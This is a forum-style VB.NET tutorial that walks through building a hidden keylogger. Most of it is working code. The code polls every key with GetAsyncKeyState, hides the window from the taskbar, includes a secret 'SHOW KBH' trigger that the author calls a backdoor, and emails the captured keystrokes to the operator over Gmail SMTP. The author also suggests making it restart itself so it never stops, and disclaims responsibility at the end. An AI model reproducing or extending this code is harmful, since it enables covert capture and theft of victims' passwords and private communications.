During this tutorial,earn how to hook keyboard strokes, and be able to place them into a textbox. This tutorial will also teach you about some hidden attributes of vb.net. Lets get started.

Firstly, we are going to need to create a new windows application.
Here are the controls you will need.


1 timer (interval set to 1, enabled = false)
5 buttons ("Start" "Stop" "Cancel" "Save Logs" "Exit")
2 textbox (multiline enabled on textbox1, not textbox2)
1 label (text set to "Number of keys pressed before it emails")
1 savefiledialog


The form should look like this:


(so you dont freak out, i forgot to add the savefiledialog :[ it should be there.)

Once the controls are done, you want to get to the coding.

press f7 to get to the form1 class.

We are going to email the text that is being tracked back to your own email (aka you are phoning home) so you will need to import a few things.

Imports System.Web
Imports System.IO
Imports System.Net.Mail

Now, we are going to declare and dim two things.

Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


This is inside of the public class of the form. The imports are outside. Now we will edit the tick sub.

Code:
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i) 'gets the key state

If result = -32767 Then 'if a known key is pressed, it will be displayed in the textbox1
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
If TextBox1.Text.Contains("SHOW KBH") Then 'if you type in show kbh, it will show the keylogger
Me.Show()
ShowInTaskbar = True
Timer1.Enabled = False
End If
End Sub
This is the actual key board hook itself. it will reread this sub every time the timer ticks. The reason i did the SHOW KBH exception is that every good program has a backdoor. You may change this to whatever you wish of course. The trick is to remember it :]

Code:
 Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox2.Text = ("") Then
MsgBox("Enter an amount above 0.")
Else
ShowInTaskbar = False
Timer1.Enabled = True
Me.Hide()
End If
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles button5.Click
TextBox1.Text = ("")
End Sub

Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Me.Close()
End Sub
Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
Timer1.Enabled = False
End Sub
Easy buttons... if you dont know what to do with this, you should not be programming.

Now this may not be very helpful, but it saves the textbox1.text as a txt file.

Code:
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
Dim save As New SaveFileDialog
Dim mystreamwriter As System.IO.StreamWriter
save.Filter = "Text(*.txt)|*.txt|All Files(*.*)|*.*"
save.CheckPathExists = True
save.Title = "Save Log"
save.ShowDialog(Me)
Try
mystreamwriter = System.IO.File.AppendText(save.FileName)
mystreamwriter.Write(TextBox1.Text)
mystreamwriter.Flush()
Catch ex As Exception

End Try
End Sub
Now. Here is the email process. I suggest you read this code to fully understand it.

Code:
Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
If TextBox1.TextLength > textbox2.text Then
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient

SmtpServer.Credentials = New Net.NetworkCredential("Username","Password") 'Must be a gmail account
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
mail.To.Add("Email@whatever.com") 'does not have to be a gmail account
mail.From = New MailAddress("Email@whatever.com")
mail.Subject = ("KeyLogs")
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End If
End Sub
This email process is gmail obviously. This means, you must use the username and password for a gmail account. I suggest creating a new gmail account that you dont care about to send the emails to an email that you check often.

Now the last part is very simple. When the form loads, you want to see the program in the taskbar, so;

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
ShowInTaskbar = True
End Sub


Go ahead and press f5 to debug your program. If you followed my tut correctly, the program should work fine. To test it, i suggest setting up the gmail account, and trying to make it send an email to yourself by typing random things while the keyboard hook is running. 

Of course there are many things you can add to this program, such as a login system, so that you can change the email you log into, a formclosing exception, so that when the form closes, it opens itself up again, so that the program never truely stops, and to add to that, you could set it so that when it emails the logged keys, it closes (aka resets completely)

I take no responsibility to whatever you use this program/source code for. I just wrote this tut for learning purposes ONLY!! :] have fun with it. I hope this helps.